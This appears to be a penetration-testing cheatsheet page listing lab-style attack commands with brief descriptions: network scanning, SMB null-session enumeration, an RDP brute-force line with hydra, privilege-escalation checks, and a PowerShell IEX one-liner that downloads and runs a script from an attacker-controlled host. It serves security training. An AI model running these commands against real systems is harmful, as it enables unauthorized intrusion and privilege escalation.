Command Palette

Search for a command to run...

Cheatsheets
PreviousNext

Pentest In A Nutshell

CommandDescription
nmap -sV -p- 10.129.12.0/24 -oA network-scanScan an entire network with version detection and all ports. Save the output in all formats.
nmap -p21,22,443 -sV -sC 10.129.12.10Scan a target IP address for specific ports with service detection and apply default enumeration scripts.
ftp 10.129.12.10 21Connect to a FTP server on port 21.
ftp> get <file>Download a file from a FTP server.
ftp> ls -alList all files in the FTP server's directory.
wpscan -e p --url https://<IP> --disable-tls-checks --no-banner --plugins-detection passive -t 100Scan a web server for WordPress and enumerate plugins passively.
msfconsole -qStart the Metasploit Framework.
msf6> search <term>Search for metasploit modules.
chmod 600 id_rsaChange permissions of a file.
ssh -i id_rsa [email protected]Use private SSH key to login to an SSH server as user "john".
ssh [email protected]Login to an SSH server as user "john" with a password.
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shDownload the LinPEAS bash script.
scp -i id_rsa ./linpeas.sh [email protected]:/home/johnTransfer a file to the target by using a private SSH key through SSH.
bash linpeas.shExecute a bash script.
sudo -lCheck sudo privileges of the current user.
sudo /usr/bin/nanoRun the Nano editor with root privileges.
crackmapexec smb 10.129.12.20Enumerate SMB shares of the target.
crackmapexec smb 10.129.230.148 -u '' -p '' --usersEnumerate users through SMB using NULL session.
crackmapexec smb 10.129.230.148 -u guest -p '' --sharesEnumerate available shares after logging in as the user Guest.
hydra -l john -p "password" rdp://10.129.230.148Brute force attack on RDP.
xfreerdp /u:john /p:"password" /v:10.129.230.148 /w:1366 /h:768Login to as user John to the target through RDP.
PS C:\Users\john> whoami /privShow all privileges for the current user on Windows.
PS C:\Users\john> whoami /groupsDisplay all groups the current user is member of on Windows.
PS C:\Users\john> schtasks /query /fo LIST /vList all available scheduled tasks on Windows.
python3 -m http.server 8080Start an HTTP server on port 8080 using Python.
powershell "IEX(New-Object Net.WebClient).downloadString('http://<attacking-machine-IP>:8080/winPEAS.ps1')"Download and execute a powershell script on Windows.
PS C:\\ProgramData> icacls "C:\script.ps1"Check the file permissions on Windows.
PS C:\Users\john> net user johnList information about the user John.